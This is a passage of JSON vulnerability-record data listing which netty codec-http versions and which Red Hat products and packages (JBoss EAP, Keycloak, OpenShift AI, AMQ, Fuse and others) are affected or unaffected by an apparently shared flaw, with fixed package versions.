"affectedData": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http2",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
}
],
"source": "security-advisories@github.com"
},
{
"affectedData": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-reports-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/jfr-datasource-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.27.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.33::el8"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Quarkus 3.33.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 7.4.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-activemq-artemis",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.16.0-22.redhat_00057.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-glassfish-jsf",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.3.14-11.SP11_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-ironjacamar",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.5.26-2.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-annotations",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-core",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-databind",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-jaxrs-providers",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-modules-base",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-modules-java8",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jboss-remoting",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:5.0.31-3.SP2_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jboss-server-migration",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.10.0-46.Final_redhat_00044.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-netty",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.135-1.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-netty-transport-native-epoll",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.135-1.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-picketlink-bindings",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.5-30.SP12_redhat_00020.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-picketlink-federation",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.5-24.SP12_redhat_00016.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-undertow",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.2.40-2.SP3_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-wildfly",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:7.4.25-2.GA_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-modelmesh-rhel9",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783443816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/openvsx-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780948325",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/pluginregistry-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780696380",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/server-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780694994",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/multicluster-redirector-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782989027",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-dispatcher-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-receiver-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_clients:2023"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Clients",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-openshift-rhel9/rhbk-openshift-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-rhel9-operator/rhbk-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel6",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel7",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel8",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-modelmesh-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-spark-operator-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-rocm64-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-trustyai-service-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-trustyai-service-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite:el8/candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
